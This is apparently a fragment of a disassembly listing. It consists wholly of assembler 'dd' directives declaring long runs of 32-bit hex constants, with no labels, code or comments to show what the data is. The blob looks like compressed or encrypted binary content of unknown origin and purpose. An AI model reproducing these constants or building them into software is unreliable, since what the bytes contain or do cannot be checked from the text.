		dd 0AA1D49h, 7562C540h,	11F0D3C3h, 2EED5300h, 9922A908h
		dd 0A67AAAh, 0C9DB5942h, 4E457371h, 0DF121D0Fh,	98C0CEC2h
		dd 58D72248h, 0E9000CF1h, 6254873h, 9F00BACAh, 264AB8F9h
		dd 0CC165Dh, 529E98B5h,	0CA07453Bh, 0B09F931Fh,	18F35581h
		dd 518048C4h, 2C969A01h, 0E803CD30h, 23BC06A5h,	0B08AE0E1h
		dd 19656079h, 2C928125h, 6A99F80Dh, 7EC030AAh, 0EDD91DF0h
		dd 6DDE400Eh, 3EBAD07h,	65816E00h, 93F44F67h, 0CCE90ED4h
		dd 0D3034125h, 0F6809988h, 261FA4B0h, 0EC8DA9D5h, 0B9C0902Dh
		dd 0E2890248h, 206EB26Ch, 31A98080h, 10035F30h,	3CD762A7h
		dd 0A80EB0E8h, 0DC4830A5h, 0F8CA6C8h, 73247600h, 0BE66478Fh
		dd 52F6D6h, 9A213B97h, 9003DCFDh, 1B007079h, 0FBE5BFB7h
		dd 0E7DD815h, 4A4C5A92h, 0C37400BDh, 79316084h,	53B78E01h
		dd 0CD678801h, 63B25FCh, 3C644B14h, 0C10328C9h,	1DA3527Fh
		dd 0E030CFADh, 7594DEh,	9859B8Fh, 8C475046h, 2C1FA971h
		dd 33405674h, 765B9D81h, 76B9EEEFh, 88DC1754h, 3E8C0040h
		dd 0A8F38121h, 1E78084Ch, 4180CB26h, 9D754B13h,	6E3200E2h
		dd 2C4ACCBBh, 0DA182D5Fh, 0F98B1CEh, 4CF189Ah, 49E12987h
		dd 6DA0A202h, 0C1D43FF6h, 1ED08DA0h, 9032FC6Bh,	12620E1Dh
		dd 0C8A0F586h, 0DE4575A8h, 3766DF00h, 0C1908C46h, 6E7A01ADh
		dd 1AC22F1Ch, 0EB18804Bh, 0D63A3FDBh, 8A230140h, 0F72C30BCh
		dd 0C96960BEh, 0CFBB4901h, 4204DD71h, 0F45C90DCh, 0E7DFCC1h
		dd 853BB1F6h, 3FED6EA0h, 803AC46h, 0A3FCE750h, 0A4B88095h
		dd 0BDB41F54h, 0E1874002h, 2A1669F0h, 0A76F710Fh, 33FE8090h
		dd 19D6553h, 14F7959Ch,	20663899h, 72002D0Fh, 0CEA13BD0h
		dd 540734h, 7B0F5702h, 79FE51D9h, 6E0E9B78h, 7FC873B4h
		dd 6B423D80h, 0ADBCE0h,	6C70602Ah, 6928CA91h, 745E8B06h
		dd 0C0FB3Fh, 8DE943C2h,	0A3352583h, 2308D507h, 48A0404Dh
		dd 8CF9FDh, 77AA730Ah, 0F247EAF8h, 188E3703h, 0F903D408h
		dd 4120364Bh, 96901AFh,	0F793B643h, 94CE722h, 18150000h
		dd 30342BB0h, 43E80798h, 405B7B16h, 256E9F0Dh, 85BE0200h
		dd 293DAF10h, 293562BDh, 19207A1Ah, 50FEEFDAh, 0C4AC8DBEh
		dd 485D9F28h, 9A58412Eh, 1A4D01EDh, 3A45080h, 0D5C70E16h
		dd 920046EEh, 6C7F5356h, 95094BFh, 4B6EA7E5h, 2B47C480h
		dd 0DF1F0BF7h, 0AE00E2AFh, 0D08CA45Eh, 0C8EE16h, 0F6244288h
		dd 4C637F25h, 39D86F07h, 78A08154h, 7655F2A8h, 0D580A0FAh
		dd 322C00D0h, 0D1132025h, 4F60107Bh, 0F121A9D2h, 9F73CF0h
		dd 39F8491Fh, 0EA7E5881h
		dd 6072F6D5h, 700294Fh,	0B89615E0h, 183E55BEh, 10F545FAh
		dd 0E8E03528h, 951D0600h, 0BD42E1C1h, 0D4800E10h, 74A01568h
		dd 8BF16636h, 18B4A603h, 2F97E44h, 601FFE98h, 9E80067Bh
		dd 0B51AC31Eh, 9390181Fh, 0CDE74000h, 6E6BB2h, 0CFC13723h
		dd 8ABDA2FAh, 82BC1438h, 40A174C5h, 0B1C7411Dh,	0B181660h
		dd 0BFCE9617h, 0ED302080h, 0C0003FE8h, 0DEE66E0Dh, 3F8F734h
		dd 58F1045Dh, 4CC06662h, 450063AEh, 6C5ED32h, 0BCC896h
		dd 7EC0A9E9h, 0CDE1DC79h, 0A3D89700h, 87A6DA60h, 3A362ED7h
		dd 4164015Fh, 0F897C84Ah, 26003D9Bh, 8DF437EAh,	3619CDDh
		dd 0AB4D2CC5h, 4280F7E6h, 1B245767h, 3F094C0Dh,	0D5438075h
		dd 0EF5170h, 1659CDA9h,	1899065Fh, 0C8DA9D00h, 0BA70705h
		dd 27BC0046h, 8D57D41Dh, 0FF036BDEh, 31351AABh,	0C593B83Dh
		dd 0FCA800CFh, 0D2E93FF5h, 32742B29h, 0EA009D76h, 0DEC6C399h
		dd 0DACA2Ah, 1A923519h,	3732A87Eh, 0C4113Ch, 0CE5A86D8h
		dd 3B966CBEh, 0F2000979h, 7FABD90h, 0D700ABE8h,	0DABFC43Bh
		dd 6C0B3Eh, 0E15A439Ch,	0FFAAE4E9h, 80832C3Bh, 6226232Ah
		dd 307D568h, 4C4E19E5h,	0FCC05B15h, 8B006FFDh, 46F2C26Dh
		dd 111CF64h, 72B3F40Eh,	0E018A8F9h, 220C7762h, 5AD41E80h
		dd 9A1B0091h, 4ACEF57Bh, 50026FBh, 0B477CF7Dh, 1F3A5CD2h
		dd 0C154914Eh, 0FB492202h, 0C04BD82Bh, 5AE17900h, 8445EEF0h
		dd 0BEBA0324h, 0C397B47h, 0E7B665D8h, 93008AEEh, 0EBDD3601h
		dd 3C70301Bh, 7A3B2E07h, 9989208Fh, 80D6D8A7h, 0AB5C7398h
		dd 59694500h, 72633E92h, 82F538CBh, 28707181h, 40268A1Fh
		dd 56BD34EBh, 0F0ECF90Fh, 597A802Fh, 663D80h, 1B13375Eh
		dd 3FCB22FAh, 40932D00h, 74FB32D9h, 0DCC0178Ch,	200EE1Dh
		dd 5E220BB9h, 298D0020h, 0B112312Dh, 5000819Eh,	9F5B4D60h
		dd 3A716218h, 0DB83CFF3h, 17CC786h, 1F4377C0h, 0A3CCE302h
		dd 0DCA14024h, 4D3C075Dh, 0B512538Fh, 0D5654CA0h, 3D432901h
		dd 0D3752AE6h, 0F4F7030h, 46FE1A3Fh, 96C0C720h,	8C00E3C3h
		dd 68344498h, 881625h, 2069996Eh, 9FA5DDABh, 749B100Eh
		dd 2DCEE001h, 72120845h, 0E971F3Eh, 2E840036h, 198B7F8Eh
		dd 0B9FAF600h, 2A83CE17h, 4CA0797Dh, 0BE00A3C8h, 911BB0F3h
		dd 4C004602h, 0AAE37E2Bh, 0E97A39h, 0FAA5B69Bh,	903E5D4Dh
		dd 0B76DF400h, 0D7277774h, 8416008Fh, 0CC9B384Ch, 9700F269h
		dd 0FDB5D98Eh, 3FE6C39Eh, 13807FA7h, 9D6723F5h,	7F6815Ah
		dd 1F7C6F3Ch, 530D9B5Eh, 62F8A868h, 769C006Dh, 95E0F8C9h
		dd 27005547h, 6590076Ch, 0C3E879h, 0D136804Bh, 0A30FA79Ah
		dd 0AF927000h, 997AF566h, 640800B8h, 0A1BFC914h, 0FA704523h
		dd 4AE56B00h, 0B6E6FB2Fh, 6DD40097h, 142B1DE4h,	7E0045E0h
		dd 3571D94Bh, 1D1ED219h, 32EB172h, 23B8CA70h, 874062D2h
		dd 2A0094B3h, 778DA40Dh, 1F4C268h, 7E55F6C3h, 0F28F86E8h
		dd 910116C0h, 200D571h,	75729215h, 1C05685Dh, 406B7452h
		dd 3DF423A8h, 55009C6Fh, 6582CE2Fh, 7934A2h, 0E502D285h
		dd 0CC885610h, 6D249200h, 7D73E58h, 0F7971531h,	0DA80B839h
		dd 0ABFE9FA9h, 56605300h, 2F129D7Dh, 0E2EA0028h, 0F8FCD16Fh
		dd 0F1003F0Fh, 96DCA9ABh, 11972Bh, 70DF7FB3h, 0C6F8A53Eh
		dd 35603100h, 0BF968A05h, 0BB900069h, 47B4D985h, 54179D27h
		dd 0A11F74E2h, 0B17FD040h, 0DD702Ch, 4D4C16D1h,	3B15692Eh
		dd 9FF9AB00h, 9E90E811h, 389B07B8h, 737DE270h, 0D8DB8E48h
		dd 26F52A98h, 0F2C9DD00h, 2D634D04h, 0C0799830h, 275EFCE6h
		dd 0E7284896h, 5FF88077h, 86555D01h, 108270C0h,	0B843A2F0h
		dd 93CF3F9Bh, 4092C287h, 0C3F2A16Eh, 2B89D4EFh,	97648B00h
		dd 0D1961493h, 5F95079Fh, 0B1EE0551h, 0EC1E9B28h, 0E7005EE3h
		dd 0F5D5FEF2h, 0FAEAA6E8h, 0B3810183h, 46F492F0h, 3644E4D8h
		dd 6C21A01Ch, 848D04C0h, 73C0E80h, 15C54F8Ah, 0BD03211Ah
		dd 26E3E4E1h, 0A907BBF0h, 0DDD968EFh, 80B29123h, 0B4D093h
		dd 42D43D1Ch, 87C90810h, 1700F27Bh, 0DDB7404Eh,	0FDAA0Dh
		dd 1AA2C11Bh, 0D1FFB682h, 0C244BC00h, 0A6581E8Eh, 0DEFD00D5h
		dd 0F9181092h, 8B01F5D4h, 35596520h, 4E899A4h, 0EE0B004Ch
		dd 0CEEC55B1h, 0B31C8C17h, 24005254h, 4DDBB6CFh, 1CB0E0h
		dd 92F20C18h, 0A411F79h, 3400C5F4h, 4AFBA10Eh, 0EADFDDh
		dd 92162C4Eh, 5C5ADB6Ah, 2AFFC000h, 7F8F7B94h, 0E3AF00ADh
		dd 5BBD5509h, 8000A8C3h, 78537EFAh, 0EE3C0Bh, 0D71A2E65h
		dd 0C1D15471h, 695B3700h, 0C747C614h, 9ED80007h, 0A620887Bh
		dd 763E1CC5h, 228600F5h, 0A029917Fh, 0D21300EAh, 7307DE85h
		dd 4407A49Ah, 41E34B62h, 57782430h, 28DB0051h, 0BAED7921h
		dd 0F5B83767h, 0D4491405h, 71C0E6BFh, 8F6AFCh, 85C87104h
		dd 7232EA33h, 19CAEB00h, 0A0805366h, 17F7262Ah,	8DD301FCh
		dd 406E6402h, 958AEEF2h, 478BF807h, 22B0DC10h, 0EA5BECBAh
		dd 9FD700C4h, 600BCD87h, 0BC00398Ah, 7378747Eh,	72F0ED2h
		dd 1C71EB63h, 0A06A0083h, 7E00EFBAh, 21CDFF32h,	7B11C54Bh
		dd 0C1150019h, 794FDE2Bh, 9BB84CE6h, 0A3009DFAh, 74295FF9h
		dd 73ACF0F3h, 4F82A0E8h, 813900C8h, 0E35193A6h,	54EE950Bh
		dd 70B10100h, 3329742Ah, 84D20182h, 62869919h, 3280EF5Fh
		dd 0E13A9EEAh, 9BA900E5h, 2CCFBC53h, 0F8CA070Bh, 0D0EE5191h
		dd 94D9C438h, 83C7D200h, 3474C009h, 0A79500F2h,	0FD3B2459h
		dd 0BE00E3A4h, 0A08F5FCAh, 3F25E60Fh, 0D88072D6h, 221157D5h
		dd 0C90041FCh, 475BE568h, 1EF2FD89h, 804D1EEAh,	7F16AF9Dh
		dd 5A00A0BDh, 0C72DBAF6h, 0C87542h, 7EC60907h, 2C8C7FD2h
		dd 18F0DD00h, 0B56D864Dh, 145D1D71h, 324FC01Ah,	4BB8A698h
		dd 24871B00h, 19646BC4h, 76BC00F9h, 6D8C0D08h, 0EC1E43D3h
		dd 807A6F06h, 0E19D1D2Ch, 637C93h, 55D7B951h, 86CB661Bh
		dd 0EF99E303h, 0F7EE0E31h, 83EB29F3h, 95FED8ADh, 1FF60043h
		dd 737D04F1h, 0CC0A9045h, 10AE1638h, 0D6CA895Bh, 0D3380880h
		dd 797606D5h, 0A1B25718h, 70C7531h, 1211B6C5h, 71DD43FDh
		dd 8DF0B07Ch, 7310B701h, 1121B589h, 62A39D4h, 0D4B6FF50h
		dd 7901413Eh, 1B9A3B06h, 76F0B125h, 0C1A700DDh,	5B5CEAEFh
		dd 0F00F010Bh, 1B89FC3Fh, 644000F2h, 6FCF1E35h,	48C558AAh
		dd 500FBDDAh, 0AB2DE304h, 39C00F50h, 307FDB8Dh,	5E7AF228h
		dd 5BC848h, 65125BD0h, 60F3070h, 2ED849Bh, 6707B099h, 7E162D9Ch
		dd 38A5AB00h, 0F0310061h, 53261C56h, 11FE9EE4h,	76F21300h
		dd 24EB431Eh, 0BE61002Ah, 4C4E2FACh, 210BCE14h,	0C716A95h
		dd 16F1DFh, 2644576Eh, 0F4F7AE6Dh, 0F9E6D406h, 1C1E0D5h
		dd 43A625DCh, 0C98BA564h, 5191FBCCh, 0F1408023h, 635B1F69h
		dd 300D6054h, 3FEBA915h, 0B1B44514h, 0E0C80ACh,	959E4h
		dd 3F035DF2h, 32FDD4ADh, 0B2E14Ch, 96E702A7h, 91CB280h
		dd 611ECB0Eh, 0D5ED2900h, 307A6EC2h, 205F6500h,	587A14CCh
		dd 6CF900C6h, 5C3A406h,	0E7012FE3h, 1E024F35h, 78844234h
		dd 0C330DCF8h, 699BF170h, 4CE51280h, 7B00BAE4h,	18AB473Dh
		dd 0C0EE6FB7h, 0EAE0A8F1h, 85092AF4h, 75661D03h, 980D5780h
		dd 1F00C2CEh, 8D449273h, 0EEBBA06Eh, 0DAFA03E1h, 914F359h
		dd 0A28542E0h, 0FF37C300h, 510FD2ABh, 91C000B6h, 7EF8E0Ah
		dd 0A03859EEh
		dd 71448F82h, 17A800EBh, 561216h, 0F44FBFA4h, 0B15D48Ah
		dd 3349E200h, 0EFD3E343h, 1687EA8h, 0EE69DD88h,	702B3675h
		dd 0BDEE29A8h, 8600C77Eh, 2EF12FD0h, 0E277D9h, 0B9FC4B23h
		dd 11CE5CDEh, 199B200h,	490E6C97h, 0B66F500Dh, 7847CD6h
		dd 7FFDE115h, 0DD7A7060h, 1C3B2C95h, 0D43D90h, 0CA6D94A1h
		dd 3845C343h, 3F2CD59Fh, 0C78C0004h, 56B6C054h,	0F373DF00h
		dd 0DB351403h, 31FF201h, 0ECA943D2h, 81C8177Ah,	5A00ED30h
		dd 0A465D14Dh, 0E356F4h, 9D1FB41Eh, 0A73A3B52h,	141B0309h
		dd 1FDBFE36h, 92E9Ch, 572672F2h, 0D8000AAFh, 362255F4h
		dd 48293C76h, 320025E4h, 4BE09AFAh, 0B0EA5A3h, 906BFDh
		dd 4292F4A2h, 3C04EA28h, 0A9809695h, 0D473DA44h, 8C011D2Bh
		dd 5049FBD7h, 75D0CEBDh, 68C300A9h, 8AB014E8h, 807D02DEh
		dd 29DD34Ch, 0A50E7AE5h, 0D6CA6061h, 44301DC6h,	53180B9h
		dd 4EEFE258h, 5C922F12h, 1FAFAD00h, 0B770BAh, 49185D4Ch
		dd 1E343B42h, 4FFABF01h, 0EEA1A556h, 13ED6E20h,	4024DB6Fh
		dd 71CB6B7Eh, 3100D652h, 126191A8h, 13222Eh, 39B0C2EFh
		dd 0DEEC949Ah, 3251ED00h, 0D1E58D76h, 38F93CAEh, 707B3680h
		dd 6628A8C6h, 0DC173400h, 402352D6h, 0A644003Dh, 2CAAAB9Eh
		dd 8B09B0EEh, 104D3F7h,	0E8F2CA60h, 9124F850h, 5B670785h
		dd 72B342h, 7A6123C2h, 0BB3F3A03h, 0E8FE0C21h, 9E24FAh
		dd 0DA5E832Ch, 0E634B935h, 721EDB00h, 213E6EC5h, 0A1EC00AEh
		dd 32B7916Fh, 87004215h, 5B1C944Bh, 0D9FFAh, 9A553111h
		dd 64F20EBBh, 0A8BA7E01h, 36234D33h, 7BF7C5D4h,	9DE70556h
		dd 404AC488h, 231DD298h, 55003EB7h, 0E6A19E0h, 6FE797h
		dd 50A19F12h, 3CCDD1D8h, 2B28B03h, 0B157C6B6h, 782069E7h
		dd 245400E4h, 0DF6804Bh, 93F9194Fh, 0F06C1E0h, 111608Dh
		dd 1DD39185h, 0E4F3D6F7h, 570EA06Ch, 21EE2F61h,	0D3D7504h
		dd 0A8EAF0h, 48D73641h,	0AE1E79E0h, 4932900h, 9571439Dh
		dd 8CD61EE6h, 0F152802Fh, 2C8051AFh, 6E099900h,	0EEF54658h
		dd 539700ECh, 2992C031h, 0A576C2CDh, 0A112300h,	0C827FCB5h
		dd 88CB0075h, 482DA363h, 357260ABh, 71EA3714h, 6D1B07BCh
		dd 0A0D02907h, 0EF3CE5A2h, 0E98083FDh, 13743B44h, 2F001655h
		dd 39E79AA6h, 5625A87h,	80B39051h, 0E462C06Dh, 0D3004BBEh
		dd 0ECFB19FAh, 9013E97Fh, 44C80048h, 71798EEFh,	0D100B3ADh
		dd 0E0FAAE50h, 0CA2DA1h, 0F188AC0Fh, 52662F92h,	5745F00Fh
		dd 0C070AFBCh, 12AC0872h, 54ED30FFh, 28A6978Eh,	34B5B00h
		dd 61D9433Ch, 236903DCh, 9BC21539h, 24C1C000h, 7D250F3Eh
		dd 8CCB2A8Dh, 0B44D00ECh, 0BFD1DBADh, 0E0002B27h, 0F0329152h
		dd 56D733h, 8A7AEE24h, 0C56A3A21h, 96A67600h, 6F6B064Bh
		dd 4A0C0046h, 93B83158h, 0A4007201h, 57F23CDBh,	3E86824Dh
		dd 818046BCh, 359B1DE3h, 8C0FB358h, 83A464ACh, 8824CC2Ah
		dd 0C6ED45h, 0A52D8999h, 77CF218Eh, 0FA705A00h,	0EF57208Ch
		dd 0E06402E9h, 0B0405558h, 0BBB07043h, 413E617h, 0E4072D34h
		dd 0B16035E0h, 0BDAB72h, 0B056ADE7h, 4F6A0E61h,	0D0FC7F00h
		dd 28A2BA0Fh, 32570074h, 0CE76E2BFh, 680072C8h,	95DE1FD1h
		dd 4CB36734h, 6B00E844h, 0A63B9033h, 62012497h,	0C20E2D10h
		dd 0A520DB32h, 0D3121492h, 8700E0E9h, 4E3E1899h, 0E801909Bh
		dd 0B72270FEh, 0E0F016FDh, 38D2002Eh, 0DD35AC47h, 5D618262h
		dd 2440E710h, 0E0CCF0h,	7713F904h, 0BDCF03B5h, 0B1FCF201h
		dd 8B4A79CEh, 90D10C20h, 0CAF00E74h, 2F40C6B9h,	95567587h
		dd 0A3418F1Eh, 0F8071813h, 7443DAB0h, 9885F886h, 9C891EACh
		dd 38E4F0Eh, 5D31BCE0h,	4602F358h, 19A1ED0Bh, 6BDC406Dh
		dd 7C09000Dh, 43C552CBh, 2200DE10h, 511711FAh, 0EEDB7BCh
		dd 9EBE423Bh, 90597681h, 47F0D039h, 0FC300F00h,	5E67B06Eh
		dd 72370022h, 0AB09E804h, 5700F595h, 866411ADh,	0C293FCh
		dd 54ABBE6h, 0DBB30A5Bh, 0B85F060Fh, 782BA079h,	0DC0BD8h
		dd 0BE3F4CD7h, 0F2318FFCh, 1F03F700h, 0A3548A44h, 17D49057h
		dd 3C99B2Ah, 470A853Eh,	372D51E0h, 0FB73E701h, 4D06A0CBh
		dd 0D474D0h, 30DF5AB4h,	7CBBA75Bh, 1C58E731h, 8304C3Fh
		dd 1522002Fh, 43BAD87Dh, 667C2C14h, 0B60C771Dh,	0E7EC0F00h
		dd 3DFA62A1h, 6D0316EAh, 531315C9h, 868C3DC8h, 6176D20Eh
		dd 14E42001h, 1DB49F40h, 81466521h, 0EF2DBD4Eh,	60642452h
		dd 0C324DA00h, 0ABFCCE35h, 63B91F91h, 0A4A80334h, 9BB3027Ah
		dd 4C782878h, 0C676E00Bh, 0FC45008Ah, 7D031DDh,	0B4D20BF1h
		dd 437FB3CAh, 4C9186E8h, 0CDA44D00h, 3FD611A0h,	9340C0A2h
		dd 8C0D7BF3h, 364EF900h, 32FBDAAFh, 286E00ECh, 473411A9h
		dd 892A8C81h, 9F00887Bh, 5596AE16h, 0C5A23E79h,	30A80F98h
		dd 190C3064h, 3899A0A8h, 0E7E4AA00h, 347E135h, 597901B2h
		dd 6EEB90C5h, 0E9DBFC7Fh, 6CBD7800h, 47F3F43Ah,	71DF00A2h
		dd 7E89B8E8h, 0A0022479h, 5F916738h, 0C082C29Dh, 0DD1C57h
		dd 0C32B7381h, 0CA954C53h, 14366A5Ch, 0FF7457h,	48541507h
		dd 0D7CD8Dh, 0C7A62C51h, 0DE2957CFh, 4300500h, 3FD9B3BCh
		dd 0DCE1005Ch, 50B7D264h, 0C73ECD7Fh, 87E51FFEh, 0E86C275Bh
		dd 0F8D470h, 0E62054AEh, 799D6A56h, 0B0DF5F0Ah,	3E00FFFFh
		dd 5C476C41h, 12680011h, 0B10AC2D7h, 0ED26B207h, 7A001B30h
		dd 714EE6A7h, 0CC685DEEh, 52737C07h, 0A55447F2h, 519BC094h
		dd 0D600939Ch, 6981A677h, 3A258C32h, 764ED2h, 0DD0288B8h
		dd 0B173C4Ch, 0FE005FE2h, 638730EEh, 35AA9Bh, 3BC90E1Ch
		dd 61EDEC84h, 1957A20Bh, 3054A3F8h, 78DBA8D4h, 0CDCA01A8h
		dd 7E003FCh, 144DE426h,	0DE8DE900h, 0BFF44962h,	77EB073Dh
		dd 0D0AF980Bh, 3551BEDCh, 526D0100h, 5F94B99h, 292B0090h
		dd 45CC079Eh, 101D5739h, 7E9DE9h, 0DCF7CF86h, 3DD67B61h
		dd 0FCB8BE0Fh, 0F0A5A08Fh, 42BA07E0h, 267E05ADh, 0EA15670Fh
		dd 848A040h, 33833Eh, 596D466Ch, 0AB4F0C5Ah, 0A1EF9D00h
		dd 6322E0C4h, 33A9010Eh, 3884D01Ch, 3ADD60A6h, 0C37E2B05h
		dd 8F80B1BAh, 651DC6h, 0EC9968E2h, 2D8EBEA5h, 0BD2A8306h
		dd 1D50616Dh, 80814EBCh, 0E2FA0FCEh, 6C90D987h,	19302F00h
		dd 0CA72B47Ch, 115600C5h, 0F47A9D94h, 8200DC03h, 0DA741CA0h
		dd 0EF52F5h, 5A1671D9h,	0E145EAE3h, 40A8B700h, 0A4DF1D99h
		dd 64055CBDh, 0C7D2380Eh, 0C81108Bh, 0D3EDE036h, 8203E698h
		dd 1FA8A13Ch, 3540B9D4h, 8D32C3A9h, 7F9370DCh, 1093C17h
		dd 1D5BE901h, 0CC023766h, 390044EAh, 3B131BF7h,	7F292CCh
		dd 1DB063CFh, 0D260A00Fh, 0BBFA46B2h, 4347600h,	3D8B2B49h
		dd 0F93E1797h, 3714039Dh, 0D7E86540h, 8C002E21h, 85828F6Bh
		dd 0F15CFDh, 7B361544h,	1B6241F0h, 3207300h, 31D35488h
		dd 0B8790029h, 421CC57h, 0F8CEC12Fh, 0A4B585h, 0AE3BA6B6h
		dd 0DD6F17h, 33FB31ABh,	0D346E204h, 3A8CE703h, 0C0359798h
		dd 7F1399h, 6BA7D60h, 0AA5D7985h, 50823403h, 0F81058AFh
		dd 1812F1h, 855FA1FDh, 5C5A6D16h, 860ED500h, 56BCFEA5h
		dd 7EFF00EEh, 8EC2DFA7h, 2215B69Ah, 0BCACABh, 60D73147h
		dd 70DE596h, 0DE787741h, 0ED9E42B2h, 7AD1E880h,	22000B3Dh
		dd 1BF6B0Ch, 192C64h, 39B659D9h, 0F7384171h, 0C5477D09h
		dd 6C7000EFh, 0CC2BFCh
		dd 5EBBC3E3h, 7EAD8C84h, 4283F713h, 38117500h, 17FB0332h
		dd 1EDB23DCh, 0A9FC8020h, 4F577140h, 4E9A9915h,	3940B9Ch
		dd 0E4688031h, 58A5CFh,	6274BCBDh, 0DDC6211Ah, 48137807h
		dd 2580FB9Ch, 1764FC9h,	491569A9h, 0F8F91A27h, 6C005B72h
		dd 945F93BDh, 0C2D2E2h,	50E4E90Bh, 6A4A3E09h, 0AEB3838h
		dd 0DF27D140h, 0E0FEC901h, 2EF8BB47h, 0A2D00156h, 7E283E30h
		dd 4C9D30ECh, 386D0803h, 5A1B6041h, 46AC3Eh, 7ACA6206h
		dd 0B96ED67h, 9BAA521Ah, 45546A00h, 3D713780h, 0F9E39D00h
		dd 0B8774F8Fh, 0F68B0092h, 75567A95h, 7C0355AAh, 0F8845C67h
		dd 891BB882h, 5805006Ah, 0D90C54D6h, 0A463BDB6h, 0F88F5C30h
		dd 7FE25F4h, 1AED8B16h,	0D25F31EFh, 0A281D824h,	5A086909h
		dd 5C980054h, 462D61h, 7F7184EDh, 0CA4597F6h, 745F271Ch
		dd 0E613DD42h, 0F33660DAh, 569E0033h, 99931B9Bh, 0F100D375h
		dd 55E2C7ECh, 0EC6D8549h, 3201005Bh, 0A76AD261h, 0CAF231AEh
		dd 911A38h, 58797D83h, 70BCF53h, 26C3B84Fh, 316F37E9h
		dd 209072D6h, 0B000460Bh, 1B4C9F6Bh, 607ECE31h,	8BB624BCh
		dd 800689Ah, 0DEAD2891h, 0FBE1B7h, 46B08118h, 97677DF0h
		dd 263A0400h, 2386625h,	0A748C0D2h, 3F1ECAC6h, 0F5EF6724h
		dd 0EA7B0600h, 368048Bh, 12F71785h, 3096C390h, 806BCF3Dh
		dd 36D8092h, 0F21602h, 2C7D456Ah, 4E854E4h, 44B60702h
		dd 60BDEF90h, 1CA99D4Ch, 404FEB46h, 4DC2AD79h, 0BC00A208h
		dd 0D71FDF3h, 572184h, 1DA34440h, 459A9027h, 0B4005A98h
		dd 0EFDA1C4Bh, 0E0A9DB65h, 0D499004Eh, 4ABDB738h, 0C303B3F6h
		dd 83FF4CBh, 4433E0D7h,	8C510047h, 0DC4160B0h, 900374Bh
		dd 32F60596h, 728648h, 0F4516D97h, 4D7935F5h, 2AC8CE00h
		dd 70174C6Ah, 0CD15000Fh, 0EEE96324h, 4A00B6B5h, 42BF9A96h
		dd 272108A4h, 80F62787h, 0FEC5803Eh, 17A14E73h,	0BB51D55h
		dd 0F8024070h, 0DD067D1Eh, 0B0424A04h, 30809190h, 287AC5h
		dd 61AC1D79h, 4F3ABB92h, 470E1400h, 1FFA5927h, 0A72B0h
		dd 0F61A9FD2h, 0CB1E7FEFh, 0B116F8F9h, 0B60769FCh, 0A5B26719h
		dd 9440F837h, 0F1EB5Ah,	0F2EA3265h, 0FDA30646h,	7149FE00h
		dd 0AFC98AF3h, 83B93B08h, 0C35C7F00h, 630FAA3Eh, 6018F800h
		dd 61CFC2D0h, 1FEB585Bh, 0D896DD1Eh, 0C69D5874h, 140AA201h
		dd 0BF09F3B3h, 3110820h, 82658FFDh, 280E6E25h, 603ADD7Bh
		dd 0F4A6D53Bh, 0C24F7C9h, 7C4900A3h, 992F3C78h,	430046B1h
		dd 0A0B7F314h, 3FDE935h, 332CE898h, 8ED8EC1Bh, 0A8F80F7Dh
		dd 0E445CB00h, 0F3F9AB94h, 1FD40035h, 41BC7659h, 9D00133Ah
		dd 4012435Dh, 91024Dh, 94FDD1C4h, 0F332E636h, 6A6CCD0Eh
		dd 4FCA0F8h, 25C1596h, 654BD6E8h, 0F848D786h, 8A07B6D5h
		dd 68B7346Bh, 0D9627240h, 321C182h, 80D032DAh, 6B4C9538h
		dd 71AF39Ch, 8712C06Ch,	0EA00CFE0h, 7C3E906Ah, 0C00D6B8h
		dd 0C25FA3CEh, 380DB56h, 1DCA9FD6h, 0B8C0C5A4h,	8103E34Eh
		dd 0BECC6DFh, 0E868001Eh, 2962B53Dh, 4200B63Fh,	6B872FEh
		dd 2D6DEh, 0E43CEDA1h, 649F1E87h, 65500350h, 6FF6B8C3h
		dd 7C3C93B8h, 9FEF0FA8h, 6C03951Dh, 0B07DC99Ch,	5398EA66h
		dd 41830071h, 0B7056119h, 96280B8Ah, 513DD8BEh,	734B0012h
		dd 6EF14DB2h, 69CF0B02h, 0F083B982h, 68F17762h,	0B3D3D4D7h
		dd 9E3F2A00h, 0B7521B44h, 6CC709B4h, 551C54h, 9FD4CDDFh
		dd 0F64807B8h, 870D11FEh, 0A05847ADh, 630CCF78h, 0B19D0200h
		dd 6F760A2Ah, 865603C8h, 0BCBE154Fh, 0AC7BF0EFh, 100DB16h
		dd 0D5B16779h, 91F793h,	0AD0E17DFh, 0D29977BEh,	0A2498F00h
		dd 0C0128B18h, 79C11661h, 0C0B31F02h, 39DEBB52h, 370F88B1h
		dd 0C3E39077h, 0B8FFAF87h, 0E20784h, 20825CD1h,	0C5441AE4h
		dd 6FA16B00h, 887D094Ch, 16BB0055h, 8001DCF0h, 0D970662Ch
		dd 30FC2E00h, 0A325EE10h, 0D4563023h, 485EB908h, 0F4992C0Fh
		dd 0F7F1E3BEh, 12D3B862h, 0AC840038h, 76D01343h, 222EC9AEh
		dd 183EB33Ch, 0C218491Ch, 0CF48C5B7h, 6209EC58h, 401F1911h
		dd 7F92F00h, 895D8CD7h,	590C4ED8h, 0BA00B720h, 429FF264h
		dd 6053A75Fh, 864B91D0h, 19FAFBDDh, 0F0726C7Eh,	0D1971400h
		dd 0E05DD012h, 93220015h, 0FE291705h, 0A67DFC36h, 0E06584Ch
		dd 0E0119C3Dh, 0F221B551h, 328C003Eh, 0D667D1Bh, 0CD0113DBh
		dd 927A2F69h, 0FFCC160Eh, 37C002Ah, 0E76E8507h,	2601B690h
		dd 0B3F53DCCh, 31D1A2F1h, 1DE865C0h, 147CA41h, 5DD506B6h
		dd 0F02BE454h, 97322600h, 0EE1D4D70h, 4CE37067h, 0F1004411h
		dd 0C1FAC0A5h, 0AB1C8399h, 44C03E5Ah, 609B034Ch, 33EF0EB5h
		dd 0DAA030A3h, 0E070496Ch, 0E667C300h, 0B14CB0D4h, 6532015Bh
		dd 54D19BCDh, 0BA388011h, 2C5CEB08h, 4DC30082h,	83C04B3Eh
		dd 0B40411D2h, 0C234CEB3h, 0C7E6A281h, 0B2CCCDF1h, 70D70065h
		dd 16F0D4E8h, 0F300D5BDh, 29C69CFFh, 284A2EECh,	0D46672h
		dd 19B527CDh, 3062232Dh, 96C9B70Bh, 52F8091h, 0B8F0D313h
		dd 4A420076h, 1B53480Ch, 33A25D6h, 0B0F67C2Ah, 52063900h
		dd 0B35149F8h, 0D77CE7h, 69100A0Eh, 72948BD1h, 93E2E000h
		dd 0EDCA5213h, 0BF7C0009h, 41D59AD9h, 0ECFE55BCh, 0A03F7F00h
		dd 28236D43h, 0ADB00DCh, 4F575A3Bh, 0B13909C8h,	0AD66002Eh
